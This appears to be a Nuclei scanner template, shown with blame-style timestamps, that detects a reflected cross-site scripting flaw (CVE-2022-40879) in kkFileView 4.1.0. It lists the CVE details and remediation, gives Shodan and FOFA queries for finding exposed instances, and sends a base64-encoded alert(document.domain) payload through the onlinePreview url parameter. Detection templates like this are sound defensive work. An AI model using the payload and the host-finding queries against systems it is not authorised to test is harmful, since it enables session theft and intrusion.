2022-10-25 09:53:25 +00:00
id : CVE-2022-40879
info :
name : kkFileView 4.1.0 - Cross-Site Scripting
2023-05-04 12:34:45 +00:00
author : arafatansari,co5mos
2022-10-25 09:53:25 +00:00
severity : medium
description : |
2022-12-13 20:36:48 +00:00
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
2022-10-25 09:53:25 +00:00
reference :
- https://github.com/kekingcn/kkFileView/issues/389
- https://nvd.nist.gov/vuln/detail/CVE-2022-40879
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
2022-10-25 09:53:25 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-05-04 12:34:45 +00:00
cve-id : CVE-2022-40879
2022-10-25 09:53:25 +00:00
cwe-id : CWE-79
2024-05-31 19:23:20 +00:00
epss-score : 0.01698
epss-percentile : 0.8773
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
2022-10-25 09:53:25 +00:00
metadata :
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : keking
product : kkfileview
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"kkFileView"
- http.html:"kkfileview"
fofa-query :
- body="kkfileview"
- app="kkfileview"
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,kkFileView,xss,keking
2022-10-25 09:53:25 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-25 09:53:25 +00:00
- method : GET
path :
2022-10-26 06:04:41 +00:00
- "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="
2022-10-25 09:53:25 +00:00
matchers-condition : and
matchers :
- type : word
2022-10-26 06:04:41 +00:00
part : body
2022-10-25 09:53:25 +00:00
words :
2022-10-26 06:04:41 +00:00
- '<img src=1 onerror=alert(document.domain)>=PQ</p>'
- '该文件不'
condition : and
2022-10-25 09:53:25 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 490a004630440220486e0cb03c2e34247dedc7a42f63cb1ed28d217628d3928db994c42f82eb87fc02203f6caf27418908145e8df9ef5e14d21bcec4f05d876ffaeb892707180ae6ad09:922c64590222798bb761d5b6d8e72950